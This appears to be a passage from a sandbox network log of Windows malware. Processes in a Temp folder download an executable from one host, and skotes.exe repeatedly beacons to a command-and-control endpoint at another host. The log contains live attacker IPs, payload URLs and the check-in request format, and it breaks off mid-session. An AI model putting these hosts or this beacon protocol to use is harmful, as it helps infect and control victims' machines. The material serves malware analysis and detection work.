Nov 20, 2024 04:09:18.620309114 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	62745	185.215.113.16	80	432	C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:19.016417980 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 04:09:19.703449011 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:19 GMT Content-Type: application/octet-stream Content-Length: 2847744 Last-Modified: Wed, 20 Nov 2024 02:17:05 GMT Connection: keep-alive ETag: "673d46a1-2b7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 1f 25 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,%,`Ui` @ @.rsrc`2@.idata 8@jwaseymg ++:@reksrrmv +N+@.taggant@+"R+@
Nov 20, 2024 04:09:19.703468084 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:09:19.703815937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:09:19.703831911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:09:19.703846931 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:09:19.704186916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:09:19.704255104 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:09:19.704267979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:09:19.704282045 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:09:19.704745054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:09:19.709314108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	62746	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:20.368993998 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:21.073241949 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	62753	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:22.888919115 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:23.606209040 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	62756	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:25.689965010 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:26.391535044 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	62767	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:28.445265055 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:29.155431032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	62781	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:31.109123945 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:31.797411919 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	62790	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:34.016923904 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:34.739563942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	62798	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:36.864829063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:37.563457966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	62799	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:39.609975100 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:40.332475901 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	62805	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:42.366414070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:43.070126057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	63488	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:44.594614983 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:45.302668095 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	63489	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:46.950601101 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:47.647469044 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	63494	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:49.170300007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:49.868015051 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	63495	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:52.047370911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:52.742326021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	63497	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:54.272583961 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:54.995270014 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	63499	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:56.620098114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:57.328208923 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	63501	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:58.921370983 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:59.624875069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	63503	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:01.281191111 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:02.000479937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	63504	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:03.519253969 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:10:04.222260952 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	63507	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
